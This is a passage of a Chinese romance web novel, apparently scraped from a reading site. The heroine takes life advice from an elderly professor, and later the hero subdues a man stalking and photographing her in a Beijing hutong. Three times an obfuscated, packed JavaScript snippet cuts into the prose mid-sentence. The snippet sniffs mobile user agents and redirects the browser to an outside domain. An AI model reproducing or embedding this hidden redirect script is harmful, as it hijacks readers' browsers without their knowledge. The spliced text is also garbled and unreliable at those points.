继而无话。 樊老师是因为要回学生信息,但对姜南西而言,社交是门技术活。 不想和陌生人说话,因为会感到恐惧和不舒服,聊得来的同事也仅限于共事,下班后各自在微信列表躺尸,对人没有好奇。 可话说回来,樊老师是她好奇的人,她想认识,但樊老师想认识她吗? 又是借着宁朝的关系,姜南西怕自己说错或者说不好,让场面陷入尴尬,或者给宁朝造成不好的影响。 这些心理负担宛如沉重的枷锁锁住她嘴巴,姜南西缩在一旁不敢吭声。 思绪飘远时,被宁衡远的声音勾回现实,他收起工具站起来,热情地问姜南西:“小西想喝点什么,茶还是可乐,大爷给你拿。” 姜南西暗松一口气,心底重燃一丝希望,幸好院子里还有另外一个人。 “您喝什么?”姜南西没直接回答,而是出于礼貌先询问了樊老师。 樊老师放下手机,抿唇淡笑:“不用管我,说你想要的。” 姜南西回头,对着走进屋里的宁衡远说:“我喝水就好。” 话间,她的余光不经意瞥到墙角,刚刚被宁衡远修剪过的那几盆绿植,怎么看着好像没有变化,甚至连杂草还原封不动地长在那里。 苍狗收拢四爪端坐盆边,黑亮的瞳孔打量着院内的一切,尾巴跟随杂草的节奏,在风里扫过来扫过去。 宁衡远给姜南西倒了杯凉白开,给樊老师递了瓶别的:“喏,樊大姐,你的冰镇雪碧。” 说完他又补了句:“一大把年纪了,少喝点这玩意儿吧。” “那你待会儿也别吃鸡蛋。”樊老师接过冰镇雪碧,拧开瓶盖呷了一口。 宁衡远挤兑:“我都半个月没吃鸡蛋了。”鸡蛋仔小摊都积了几层灰了。 樊老师反唇相讥:“再吃是狗,啊。” “喝二十多年了也不腻,不怕血糖高啊。” “喜欢的东西,再过二十年都不会腻。” 两个老人孩子气地斗嘴,你一言我一语,谁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15771054|174551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不服输,这场面,任谁看了都不信二人一位是核工程的专家,一位是文学届的教授。 姜南西看得眼睛都舍不得眨一下,哪知下一秒,宁衡远便道:“我出门买菜去了啊。” 姜南西:“......” 希望之火“啪”的熄灭,一溜烟儿地跑了,跑前还回头跟姜南西打了个照脸儿,似是在说你好自为之。 她挣扎:“这么热的天,要不直接叫外卖呢?” “外卖跟现场买哪能一样啊。”宁衡远没注意姜南西瞬息万变的眼神,坚持要去,“你们这些小年轻就喜欢在手机上买东西,那东西新不新鲜,用眼睛看比用手机看好。” 说完宁衡远就马不停蹄地走了,生怕晚去一步菜市场里的鱼就被淹死了。 院子里静悄悄,姜南西也静悄悄。 天色明净,一碧如洗,一如现在她空白的大脑。 樊老师仍在回复学生发过来的问题,学生发的有的是文字,有的是语音,无论哪一种,樊老师都会用语音耐心讲解,一一解答他们的疑问。 时不时的,她会抬头对姜南西微笑一下,好像是表达暂时冷落她的歉意。 一个又一个的问题,时间随云朵向前游移。 院内夏意正浓,袅袅微风越过墙头,风里携着远处荷花的芬芳。 渐渐的,姜南西惊惶浮躁的一颗心慢慢定下。 她不再去想自己的慌乱和胆怯,只安静坐着,听樊老师讲那些她听不懂的专业术语,物理天体,行星轨迹,姜南西听得津津有味,即使那完全是她未曾涉足的领域。 而樊老师呢,全身心投入在自己的教学当中,她此刻的状态,跟刚才她专注小鱼时的样子并无二致,每一条晦涩的理论,每一个严密的数据,都仿佛是另一维度的小鱼,一条条的,被她小心翼翼捧起,然后轻轻放进宇宙的海洋。 姜南西身体坐得笔直,像个乖顺的小学生,定定看着认真工作的樊老师——如果忽略她脸上那副迷妹表情的话。 她清晰地感觉到,无论是那天花鸟市场的樊老师,还是今天给学生讲课的樊老师,身上都散发着一股源源不断的能量,不疾不徐,静水流深,漫过岁月和空间,和温暖的阳光一起打在姜南西身上,暖洋洋的。 这也是鲜活的生命力,姜南西想。 因为她在做自己喜欢的事。 她忍不住给宁朝发消息。 姜橙子:【樊老师真的是个很有魅力的人。】 几乎是发出去的同时,宁朝的信息蹦出来。 宁朝:【跟樊老师聊怎么样?】 姜南西无声扬唇,为这一瞬间的巧合。 她怕打扰到樊老师,索性将手机放到大腿上,借着石桌的遮挡回消息:【还没聊。】 这架势有点像上课开小差,平生一种偷偷摸摸的刺激。 姜南西抬头扫一眼,又迅速低下:【樊老师很忙,根本不敢说话。】 姜橙子:[流泪][流泪][流泪] 会议桌尽头坐着的男人笑一声,很轻,不易察觉,没有影响到正在分享市场季度报告的王延章。 底下坐着的其他几人也都专心致志,没人发现大老板在溜号。 宁朝敛眉,长指打字:【放宽心,核弹奶奶人很好,等她忙完会主动跟你聊天的。】 姜橙子:【一般都聊什么?】 姜橙子:【有没有小抄?】 姜橙子:【美少女战士求求你.jpg】 三连紧张。 宁朝卖了个关子:【聊了就知道了。】 姜橙子:【代表月亮消灭你.jpg】 宁朝笑容加深,最后看一眼手机,接着拉平唇角,看向对面投影上的报表,肃声发问:“为什么总营收同比下降百分之二?” 王延章不作停顿,用数据详细解释原因。 会议桌另一边的杨韫将这全程尽收眼底,仿佛欣赏了一场精彩的川剧变脸,她掀掀左边眉毛,露出一个对昏君表示鄙夷的表情,淡淡哼了一声。 阅川敏锐察觉,椅不动人动地靠过来:“看什么呢?” 杨韫声动嘴不动:“老大提问老王之前,一直看着手机笑。” 阅川讶异:“营收跌了还笑?” 结合之前几人的讨论,杨韫笑而不语,女人的直觉,有情况。 不料阅川没开窍:“不过他笑有什么好看的?” 杨韫眯起眼睛,皮笑肉不笑道:“那我给你看个好看的。” 阅川星星眼:“什么呀?” 杨韫说:“你闭上眼睛。” 阅川照做:“然后呢?” “你看见了什么?” “一片黑暗啊。” 杨韫冷笑:“那是你的未来啊蠢货!” 19. 冰镇雪碧 解答完学生的疑问,樊老师放下手机,对正在玩手机的姜南西抱以歉意地笑笑:“无聊了吧,学生最近工作遇到点问题,找我答疑。” 闻声姜南西也赶忙放下手机,正襟危坐,乖巧地看向樊老师:“没有没有,听您讲课也很有意思的。” “听三儿说你是编导?” “之前是。”姜南西没想到宁朝跟樊老师提过自己,有些意外,但也说了实话,“但是现在已经辞职了,暂时没工作。” “休息一阵也好。”樊老师语态温和,“现在这个社会节奏快,你们年轻人压力大,是要适当给自己松松绑,钱够用就行,不着急赚。” 姜南西原本忐忑的心情松了松,在当下这个就业困难且普遍认为辞职是罪大恶极的时代,樊老师的话给人莫大的宽慰。 她心叹,不愧是我崇拜的大神。 她端起桌上的水喝了口,还没等咽下去,就听见樊老师冷不丁问:“小西,你有对象吗?” 姜南西“噗”的一声水全喷了出来,她急忙用手捂住嘴巴,弓着腰剧烈咳嗽,脸色涨成红苹果。 大神也这么接地气么? 见她反应这么大,樊老师立刻抽了张纸给她:“怎么了这是?” “没有没有,没有事儿。”姜南西平复过来,她用纸巾擦了擦脸,“也没有对象。” “你加我微信,我给你介绍一个。” “我想先等工作稳定下来,再考虑个人情况。”姜南西对介绍对象没兴趣,但如果能加到樊老师,她还是很开心的,“不过我还是想跟您加个好友。” “那也行。”樊老师不勉强。 加上好友才知道,樊老师有个很好听的名字,叫樊如璋。 加完好友,两人同时收起手机。 樊老师问:“之后的工作想好要干什么了吗?还是编导?” 姜南西摇了摇头:“我有想做的事儿,但......心里没底,不知道到底能不能做,就算做了,如果不能成功的话......” 她双手托腮,看向正在墙头打闹的两只小猫,眼里闪过嘲讽:“可能就会变得一没钱二没事业,到时候就只能灰溜溜地滚回来继续干编导。” 樊老师的视线缓缓落下,深邃悠远,她看着眼前的小姑娘,又好像透过她看其他人,她有很多学生,毕业时陷入和姜南西同样的迷茫,要在科研和工作当中作出抉择。 梦想很美好,世俗压力也不小。 她问:“你想做那件事吗?” 姜南西坚定地说:“很想。” “那就去做。”樊老师话语干脆利落,甚至问都没问她想干什么,“一份普通的工作和一份喜欢的工作,你当然要选自己喜欢的。” 姜南西知道樊老师一定会这么讲,正如每个失眠的深夜时,她跟自己讲的那些话,但好像都没有什么帮助。 她坐起来,拘谨而局促地看向樊老师地眼睛,停了有两秒才问:“樊老师,万一我要是选错了呢?” 阳光照在樊老师的满头的白发,她周身泛起一层温润的光晕,笑着说:“你还年轻,要允许自己犯错。” “用你们年轻人的话说,你是裸辞?”樊老师跟她确认。 姜南西朝她点了下头。 樊老师问:“你知道裸辞和辞职最大的区别是什么吗?” 姜南西想了下:“不知道。” “正常辞职是骑驴找马,找马嘛,只要比驴好一点儿就行了,但是裸辞,就好像把你丢到非洲大草原上。”樊老师伸出一根手指,隔空在前头的空地上画了个大大的圈,“在这片大草原上,你可以去找狮子,找大象,找你心里的那头独角兽。” “但最重要的,是你要主动去找。”樊老师语重心长地开导。 世间道理皆是如此,凡事想得太多,日复一日的犹豫,重要节点的畏怯,既不甘心平庸又没有勇气破局,直到最终失去信心。 而如果因为害怕失败不去行动,那将永远无法向前,像被困在琥珀里的苍蝇,永远不知道路的另一头是什么。 所以,不管什么事,只要让自己感到快乐,就立刻去做。 如果不踏上取经路,何谈抵达灵山。 姜南西说:“那如果还是纠结自己走的路正不正确呢?” 在大众的认知中,正确的路有一条约定俗成的标准,考上大学就好了,有一份稳定的工作就好了,结婚生孩子就好了,孩子大了就好了,孩子考上大学就好了...... 按部就班向前推进,这条路固然没有那么多波澜壮阔的喜悦,但至少也不会遇见大风大浪,这是世俗标准下的正确的道路。 “什么是正确的路?”樊老师却这样反问,她笑:“纠结是因为我们有很多想法,所以才会瞻前顾后,但纠结就像你这杯水。” 她点点姜南西面前的水杯,“你端着满满一杯水往前走,要洒出来的时候你就想小心翼翼地端稳它,一步一步慢慢往前走,但如果有一天,它全洒了,你就可以跑起来了,所以比起选择正确的路,不如把你喜欢的路变成正确的选择,然后跑起来。” “孩子,人的生命是很短暂的,我现在回头看看,也遗憾有很多事情没来得及干,可我这一生过得问心无愧,因为我守住了我真正喜欢的东西。”樊老师的声音醇厚而温暖,似温温流水淌过姜南西的耳畔,落她心头泛起千层涟漪。 “喜欢就像是宇宙往你心里放了颗发光的星星,一开始你没不在意,或者因为生活琐碎忽视了这颗星星,跟它一下子近一下子远,有时候都看不见它,但它就长在那里,经久不息。搞核弹,养小金鱼,还有这雪碧,我都喜欢,这么多年过去,我都老了,也还喜欢。” “核弹就不说了,和平年代炸得响也不是什么好事儿,那小金鱼越看越可爱,雪碧也越来越甜,因为不管什么时候你把这颗星星拿起来,它都在发着光。” “人这一辈子就活那么回事儿。”樊老师说,“如果你找到了值得坚守的东西,那就好好守住它。” 姜南西心中微动,迷雾散去,看到最深处某个地方的微光。 樊老师的话宛如一把熊熊燃烧的火炬,把她心中那忽明忽暗的小火苗烧得更旺,一把子从骨入心,悸动的渴望气焰汹汹。 姜南西目光扫过院子里的一草一木,看见那瓶雪碧,忽而想起来它的广告语就是Obeyyourthirst,也正应上樊老师的这番话,或许也是樊老师喜欢它二十多年的原因。 她深吸一口气,满是敬重地看向樊老师:“樊老师,您真的是一位很好的老师。” “年纪大了爱啰嗦。”上一秒还庄重的樊老师变得腼腆,笑容和蔼,一顿自谦,“你凑合听听。” 真正自信的人,总是铿锵有力,又温煦如春风。 能听到樊老师的这番话,姜南西受益良多。 还在感动呢,樊老师突然杀了个回马枪。 “不过我家老头儿有个学生是真不错,胖是胖了点,懒是懒了点儿,有点扣扣嗖嗖,还在大西北待着一年到头的见不了几面,但总的来说是个好人。” 姜南西:“......” 不愧是行动派,樊老师一边说着一边就已经打开手机,从几千个好友里摘下一颗名叫“邵万里”的青年桃李:“要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15778926|174551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不把他推给你,你俩认识一下?” “不了不了。”姜南西连连摆手,“这个......真不喜欢。” 樊老师调侃小年轻:“那你喜欢哪个啊?” 姜南西眨眨眼,笑得可机灵:“我喜欢您哪!” 樊老师高兴地“哎哟”一声,她也喜欢姜南西,爱怜地摸摸她的脸颊:“真好啊这姑娘。” · 晚上六点,暮色攀上天际,宁朝提前下班,此等行为引发一众红眼病,斥巨资在蓝色医院开了好几副药方才稳住病情。 刚坐进车里,收到姜南西的微信。 姜橙子:【我真的真的真的很喜欢樊老师。】 姜橙子:【谢谢你。】 宁朝低头看手机,鼻梁和脸颊隐没在阴影里,车窗降半,微渺天光自上而下,映在他优越的下颌线。 没着急开车,他回复姜南西:【聊得还不错?】 姜橙子:【听到了很多,很受用。】 距离她上次发微信,已经过去几个小时,宁朝轻抬下眉,看来聊得很深刻,很透彻。 宁朝:【聊什么了?】 看见消息时,姜南西正坐在院子里,刚吃完宁衡远特意买的三元梅园,跟白云苍狗一块儿惬意乘凉望天。 红果酪滋味酸酸甜甜,化成屏幕上跳动的文字:【樊老师给我介绍了个对象。】 姜橙子:【让我加他好友。】 宁朝:【?】 手机突然响起铃声,姜南西吓了一大跳。 宁朝的嗓音听起来无可奈何:“你知道樊老师每次都跟我聊什么吗?” 姜南西声色明快:“也给你介绍对象?” 宁朝不回答,叫她:“姜橙子。” 姜南西:“啊?” 宁朝正声道:“不要加他。” 这声音淡淡,疲倦过后特有的嘶哑,透着难以言喻的磁性,落在姜南西耳中格外的性感。 姜南西心神恍了下,耳尖酥软,好半天忘了回答。 宁朝又说话,他放软语气,带着点儿哄:“好不好?” 简单的三个字像一道电流从电话里出来,沿着手臂直接劈到心脏里,让姜南西浑身为之一麻。 电话里静静的,静得只能听见两人的呼吸声,很轻,很真实,似在耳边。 “没有加。”姜南西小声嘟囔了句,小飞虫扑到脸上,有点痒,她用手抠了抠眼下的一小块皮肤。 她反过来问:“你还没说樊老师以前都跟你聊什么?” “聊生活呗。”车里,宁朝的心情向好,他笑了笑,任笑意爬上眉梢,“我们两个经常一边下象棋,一边讨论,怎么能做到既不用做饭又不用整天吃外卖。” 姜南西立马问:“讨论出结果了吗?” 她也有一个日益增长的懒惰心理和不好吃不健康的外卖之间的矛盾亟待解决。 对比,宁朝坦言:“讨论结果就是,让老爷子做饭。” “但你不是说——”姜南西压低声音,话说半截她扭过身体,瞄一眼身后的厨房,只看到了樊老师,她又向前探了探身,终于在厨房冰箱旁边找到宁衡远的身影。 宁朝阖着双眸,脑袋靠在头枕,听着话筒里传来的断断续续的摩擦声,他唇角勾起一个浅浅的弧度,仿佛能想象到那一头的姜南西小心翼翼的动作。 确定他们没注意这边,姜南西这才转回来,用手掌挡住话筒和自己的声音:“你不是说大爷做饭难吃吗?” “是难吃。” “那还让他做饭?” 宁朝叹气:“在求人和求己之间选择了算球。” 20. 冰水 姜南西在院子里坐了一阵,被宁衡远喊去买袋糖,要做糖醋鱼。 见她要走,白云一骨碌从地上爬起来想跟上,被苍狗死死叼住后腿不让去,急得白云仰天喵喵大叫。 在超市里买鸡精时,姜南西想到白云可怜兮兮的模样,心生愧疚,给它拿了一袋猫粮。 蔬果区的蓝莓比手机上看着诱人,她也拿了一大盒。 提着这些东西去结账,路过层层货架,姜南西忽然听见一个熟悉的声音,这声音牵绊住脚步,她停在原地,目光转向这声音的来源。 货架后面,当当站在五花八门的零食前,捧着一杯奶茶,正在打电话。 “哎呀!我这次数学考试又考砸了,回去肯定要被我妈骂死,答应的零花钱估计又没了。” “我脑子里又没有答案,再说了有答案那不是作弊吗?” “年级第一又怎么样,我在艺考班还是第一呢。” 对面不知道说了什么,当当脸上晕开一抹粉红,低啐了句:“才不要你补课呢。” 偌大的的空间里,只有当当一人,她垂着头,碎碎念着自己的那些烦恼。 她扎着高翘的马尾,侧脸青春洋溢,身上一袭粉色连衣裙,手里的奶茶也是粉色的,整个人干净高挑,美好的像是初春清晨的枝头,开在第一缕微风里的蔷薇花。 姜南西笑着转身离开。 少女的心事啊,惆怅都像是蝴蝶落在蔷薇上一样轻巧。 结账时,看见收银台旁挂着的粉色棒棒糖,姜南西拿下长长一串,一起付了钱。 但她没有带走,而是对收银员说:“辛苦您,把这个送给一个穿着粉色连衣裙的妹妹。” 因为当当,姜南西久违地想起很多少女时候的趣事,心中轻盈,高兴地连袋子都忘了拿。 好在超市离家不远,步行十分钟的距离,她抱着东西往回走。 傍晚的北京胡同是静谧的,屋檐披着薄薄金光,比起嘈杂的城市,这里光阴慢慢,风里一蓬蓬的凉意,拨动起青砖角落的槐花香,走在这里,吸进肺里的空气都是清甜的。 这个点大家都在吃饭,路上几乎没什么人,走了一半才看见从对面过来的两个身影。 前头人步伐迈得大,一步顶人三步,小朋友在后头追得呼哧直喘,实在撵不上,梗着个脖子像个生气的小公鸡,扯着嗓子脆生生大喊:“爷爷你能走再快点儿吗?” 爷爷步速一点没减,跟个没事儿人似的:“那是你走得太慢了。” 一老一少,一人一句,跟说相声儿似的,逗乐子呢。 姜南西低下脑袋,借着帽子和怀里东西的遮挡,抿嘴偷偷笑了下。 再往前,离街道和景区更远,是更有烟火气的居民生活区。 路灯洒在墙角,对面汽车的轮子底下,一只灰白色的小猫怯生生地探出脑袋,发出微弱的叫声,眼睛又亮又圆,在警惕地打量着这个未知的世界。 小猫蜷缩成一团,毛茸茸的身体还没巴掌大,看起来应该是才出生几个月,姜南西想过去看看,骤然觉得身后白光一闪。 她懵怔回头,昏暗夜色下,一切都变得模糊不清,可姜南西却清楚地看见,停在不远处的黑色汽车后面有个举止怪异的人影,在察觉她的目光后,那人影没有做贼心虚收起手机,而是直接拔腿朝她走来。 一股阴森森的寒意顺着脊背上蹿,来不及多想,姜南西快速转身,紧紧抱住怀里的东西,想赶紧离开这个地方。 那人亦步亦趋跟在身后,似是发现她的胆小,开始嚣张地加快脚步,始终和姜南西保持着一米的距离。 人影如同黑暗的鬼魅,在地面上蠕动靠近,紧紧跟在姜南西的身边,将她的逃避和恐惧当作最好的养料,疯狂喂养着自身的狰狞和邪恶。 姜南西每向前迈一步,惊惧就加重一份,呼吸急促,双腿止不住发颤。 如果是在路上,别人遇到这种情况,姜南西坚信自己还会毫不犹豫挺身而出。 但如果是发生在自己身上,她只剩下害怕。 同样的夜晚,同样是胡同,惊悚将往昔和当下打了个死结。 当年的阴影历历在目,她的脑海中不断浮现出陈笛前男友用啤酒瓶捅向她的画面,所以不敢跟对方贸然发生冲突,怕他也像当年的恶魔一样掏出凶器,而自己可能再不会之前的好运气。 加快脚步离开这里,是她能想到的唯一办法。 空气里弥漫着危险的死寂,一条路怎么也走不到头开。 恐惧像一只无形的手,死死扼住姜南西的喉咙,拽她的心脏,濒临窒息的感觉侵袭大脑,她双腿不受控制地发软,而毛骨悚然的脚步声离她越来越近。 就在那脚步声即将贴上她的后背时,迎面走来一个高大的身影,瞬间罩住她发抖的身体,来人没说话,只伸手摸了下她的后脑勺,似是安抚。 姜南西惊慌转头,只来得及瞥见对方冷厉的下颌。 下一秒,宁朝将尾随的男人狠狠抡倒在地。 他神色冷峻森寒,全身肌肉紧绷,摁住男人的手臂青筋暴起,男人的脸被地面挤压到严重变形,五官乱飞扭曲,鼻梁上的镜框歪斜挂在耳边,镜片被压得粉碎。 男人大声嘶吼,双脚在地上胡乱踢踹,试图借此挣脱重如千钧的钳制,然而宁朝不为所动,只是平静地加重手上力道,稳稳压住对方,不给他一丝一毫逃脱的机会。 宁朝望向脸色煞白的姜南西:“报警。” 姜南西脑袋轰地清醒,拿出手机拨号。 逃脱无望,男人停止了挣扎,眼中满是哀求和后悔,他腆着脸赔笑:“兄弟,你放我一马,我就是......” 姜南西打断:“他偷拍我。” 闻言,宁朝从男人裤子口袋里掏出手机,冷冷吐出两个字:“密码。” 男人颤颤巍巍报出几个数字,宁朝解锁手机,删除照片,清理回收,动作一气呵成,接着将手机扔回男人眼前。 见状,男人以为有机会,赶紧急赤白脸道:“兄弟,我保证再也不偷拍你女朋友了。” 宁朝盯着他,眸中一片嘲讽,嘴角弧度似笑非笑,他拍了拍对方的脸:“瞧您这话说的,还准备祸祸其他小姑娘?” “不是不是。”整张脸都被压着,男人扯出一个比哭还难看的笑,“我就是看她长得漂亮想认识下,没别的意思。” 说着,他的视线不自觉往姜南西身上瞟,眼里透着令人作呕的猥琐和不甘,姜南西心中顿时泛起一阵恶心,本能地往后退了一步。 这一眼没逃过宁朝的眼睛,他眸光一沉,重重扇下男人的脸,“啪”的一声脆响。 宁朝语气冰冷不耐到了极点:“你他妈往哪儿看呢。” 隔两条街就有派出所,警察来得很快。 除了两名男警,另一位是名女警,她留着一头干练的短发,身姿挺拔英姿飒爽,肩上的警徽在柔和的光晕下熠熠生辉。 尾随男是惯犯,男警直接给他戴上手拷押进警车,女警负责做笔录,按惯例,她询问宁朝:“姓名?” 宁朝轻啧了一声,女警啧的比他更大声,又厉声重复一遍:“姓名!” 看一眼姜南西,姜南西也正看他,眼底后怕还没退去。 宁朝叹气,老实答:“宁朝。” 女警问:“年龄。” 宁朝一哂:“比你小两岁。” 女警再问:“家庭住址。” 宁朝冷哼:“你家。” 女警又是不悦地啧了一声,阒然暴怒道:“宁老三你丫欠抽是吧!” “嚯!天骄姐,又搁这儿审你弟弟啊。”刚扣押完尾随男,男警下车,一脸好事儿地打趣。 宁天骄立马甩过去一个大白眼,怼道:“去去去,你弟弟才天天进局子呢。” 姜南西一直觉得宁朝对这位女警的态度有些微妙,现在才后知后觉明白,眼前这位气场十足的女警,原来是他二姐。 难怪在她面前,宁朝整个就一天不怕地不怕的混球。 男警一听,笑着接茬儿:“过年把你弟逮警局的那个不是你啊!” 宁天骄正气凛然:“我那是大公无私。” 宁朝没好气:“大公无私你不抓老爷子?” 除夕夜北京全城禁燃禁放,宁天骄上岗值班,其他人在什刹海陪宁衡远过年。 隔壁小孩儿缠着宁朝一起玩儿仙女棒,宁原驰使坏,拍了张照片发给宁天骄。 趁宁天骄还在杀回家的途中,宁朝不知用了什么办法,拉着宁衡远出来一块儿放,也拍了张照片,然后等人一到,把这个忠孝的问题交给宁天骄。 结果可想而知,宁朝被带回所里手写三千字检讨。 “行了啊!”宁天骄呵斥不省心的弟弟,“赶紧忙正事儿,你姐夫刚把饭送过来就碰上我出警,人还在警局等着呢。” 知道宁天骄工作辛苦,宁朝后面积极配合,一五一十将情况说清楚。 笔录马上做完,宁天骄眼珠子“唰”地一转,扫眼正在跟男警讲话的姜南西,她清了清嗓子,再说话时,声音小得跟蚊子哼哼似的,远远看去嘴皮子都没动过。 她问宁朝:“姑娘头上这顶帽子有点眼熟啊。” “有吗?”宁朝揣着明白装糊涂,“没有吧。” “没有是吧,那你去跟张永正说去吧。”宁天骄不承诺不率先使用核武器,“他闹一个月了,暑假要去他舅舅家住。” 张永正,北京某小学一年级在读生,校内非官方斗地主组织领头人。 又称宁天骄的逆子。 宁朝一脸淡定:“你把他送大哥家去呗。” 宁天骄说:“废话,宁原驰家里一堆牙花子有什么好玩儿的。” 宁朝轻嗤:“你就是不想辅导作业。” 被拆穿的宁天骄:“......” 要不是宁朝是小叔独子,她又穿着这身警服,怕闹个警民不和的新闻来,宁天骄真想就地家法,杀弟证道。 分别向宁朝和姜南西了解完情况,宁天骄面色严肃,对姜南西道:“姜小姐,人我们先带回所里,等后续的处理结果出来,会再通知您。” 姜南西说:“辛苦您了,还有谢谢。” 宁天骄朝姜南西敬个标准的警礼,而后大步流星迈向警车,打开车门坐进去。 警车缓缓启动,很快便消失在胡同尽头。 宁朝转过头,看向身侧沉默寡言的姜南西,一顿过巷风,掀动她披在肩后的长发,乌黑发丝扬起,遮住半边脸颊,让人愈发看不清她此刻的神情。 宁朝双手撑在膝盖,微微躬下身,用眼神去追她的眼睛,对视的一刹,姜南西的眼眸猛地一颤,像一只迷失在狂风暴雨中的小鹿,被找回后,却仍无助而惊恐。 看她两秒,宁朝问:“吓到了?” 姜南西定定回望,而后她低头,看眼地上黄昏的树影,半秒后又看回来,停顿的间隙涌出千言万语,最终只化作一句:“你受伤了吗?” “没有。” 宁朝反问她:“你呢?”说完就把姜南西抱着的东西统统扔到地上,拉开她的胳膊准备检查。 姜南西拦住他:“我也没有。” 夜幕徐徐铺展,胡同里路灯光晕轻薄,洒在两人的身上。 “你不要受伤。”她垂眸,长睫在暗影里轻轻抖动,想想这话太苍白,跟着又补充了句,“不要因为我受伤。” 话落没有得到回应,从姜南西半掩的视角里,只能看到宁朝的下半身,静然站在她身侧,看不见他的神情,也不知道他在想什么。 然后,感觉一股恰到好处的力度轻抬她的帽檐,顺着这道力,姜南西昂起下巴。 宁朝逆光而立,光影幽幽,给他眼神蒙上一层朦胧的薄纱,可他的声音落下来,却是无比清晰:“姜橙子,我知道你害怕但是不敢反抗。” 姜南西眨了眨眼睛,瞳孔适应光线,看清眼前人的脸。 宁朝的语气低沉有力:“只要有我在,你可以没有这个但是。” 在这一刻,世界突然静默,风也屏住呼吸。 宁朝站在她眼前,眉眼浸染着白墙青瓦的暮影,身后路灯亮起,飘着几瓣槐花。 恍惚半分,姜南西吸下鼻子,又呼出一口气,消化掉所有残存的委屈和惶恐,再看宁朝时,眼神已经恢复正常。 姜南西问:“你怎么来了?” 宁朝说:“回家老爷子说你来超市买糖,想着过来接你。” “还好过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788513|174551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来了。”他庆幸,弯腰捡起地上的东西,自然对姜南西道:“回家吧。” 姜南西想起什么:“等等。” 她快速转身,径自走向十米开外的那辆汽车,小猫看她走过来,浑身瑟瑟战栗后退,原本蓬松的毛发都炸了起来,喉咙里发出低低的呜咽声。 姜南西趴在地上,将小猫从车里拽出来,小心地抱在怀里:“我刚刚就是想看看它,然后才发现被跟踪的。” 她保持跪地的姿势,用臂弯托起小猫:“谢谢你哦。” “想养吗?”宁朝问,很随意的口吻。 “离开北京也带不走,怪不负责任的,算了吧。”姜南西摇头笑笑,纤细手指爱怜地挠挠小猫下巴,“还好你是在胡同里流浪,饿不着。” 流浪小猫对这话颇感不满,张大嘴巴“嗷呜”一声,气呼呼抗议:“你才不饿!你全家都不饿!” 姜南西记起自己买的那袋猫粮,她示意宁朝拆开,但装在哪里是个问题。 直接倒地上有点脏,一时又也找不到合适的容器,姜南西环顾周围,看见宁朝手上的东西,视线一定,旋即缓缓上移挪到他脸上。 她扬起讨好的笑脸,满是笑意的眼睛亮闪闪地看着宁朝:“或许,你喜欢吃蓝莓吗?” 两分钟后,宁朝一手一捧蓝莓,嘴里还在嚼嚼嚼,站在旁边看姜南西喂小猫。 那盒子比小猫还大,小猫卯足了劲儿往里爬,爬了几次就摔了几次,姜南西只能用双手把它捧进去,用手指勾两粒猫粮送到它嘴边,小猫一开始还傲娇地用鼻子嗅了嗅,最后到底没经住诱惑,也开始嚼嚼嚼。 一人一猫对嚼,看得姜南西好笑。 宁朝淡淡:“姜橙子。” “哈?”姜南西抬头,还没看清人,嘴里就被塞了几颗蓝莓。 一起嚼嚼嚼。 小猫从没吃过这么好吃的东西,越吃越香,小嘴吧唧吧唧响。 姜南西的心完全被俘获,从兜里掏出手机记录,镜头里小猫吃得忘我,腮帮子一鼓一鼓,模样可爱又可怜。 想起那天在程教授家,她也是这么拍摄,宁朝问:“你拍的这些素材,最后怎么处理?” 姜南西目光不动:“一起剪成vlog,发B站。” “自媒体?” “以前随便弄着玩儿的。” 饶是如此,宁朝还是问:“我能看看吗?” 姜南西含糊道:“都好久没更新了。” 真不是她故意矫情。 莫说更新,自从被网暴,她连后台私信和评论都许久没有打开过了,根本不敢打开,就怕看见那些不堪入目的东西,甚至后来刷B站,都是用的小号。 不过既然决定重新开始,她也积攒了一点点的勇气。 她对宁朝说:“等这条发布了,我分享给你。” 默了默,宁朝点头说好。 胡同月色逐渐浓郁,隔着白墙的另一头,哗啦啦传来人声,又哗啦啦远去,空气里偶尔悠来老式糕点的香气,不知名的小飞虫噗噗撞击路灯。 两人看一只小猫吃饭,看了很长时间。 冷不防,姜南西脑中升起一丝古怪,她蹙眉:“我们是不是忘了什么事情?” 宁朝草草回忆了下:“没有吧。” 姜南西哦了声,继续埋头喂猫。 什刹海家里,宁衡远跟樊老师对着一瓶醋大眼瞪小眼。 宁衡远:“改刀吧,做个酸菜鱼咱先吃。” 樊老师:“不等俩孩子啦?” “等他俩?”宁衡远气得吹胡子瞪眼,“再等会儿能把我这遗像挂墙上喽!” · 晚上,姜南西坐在电脑前,看着电脑屏幕上的一幅摄影作品。 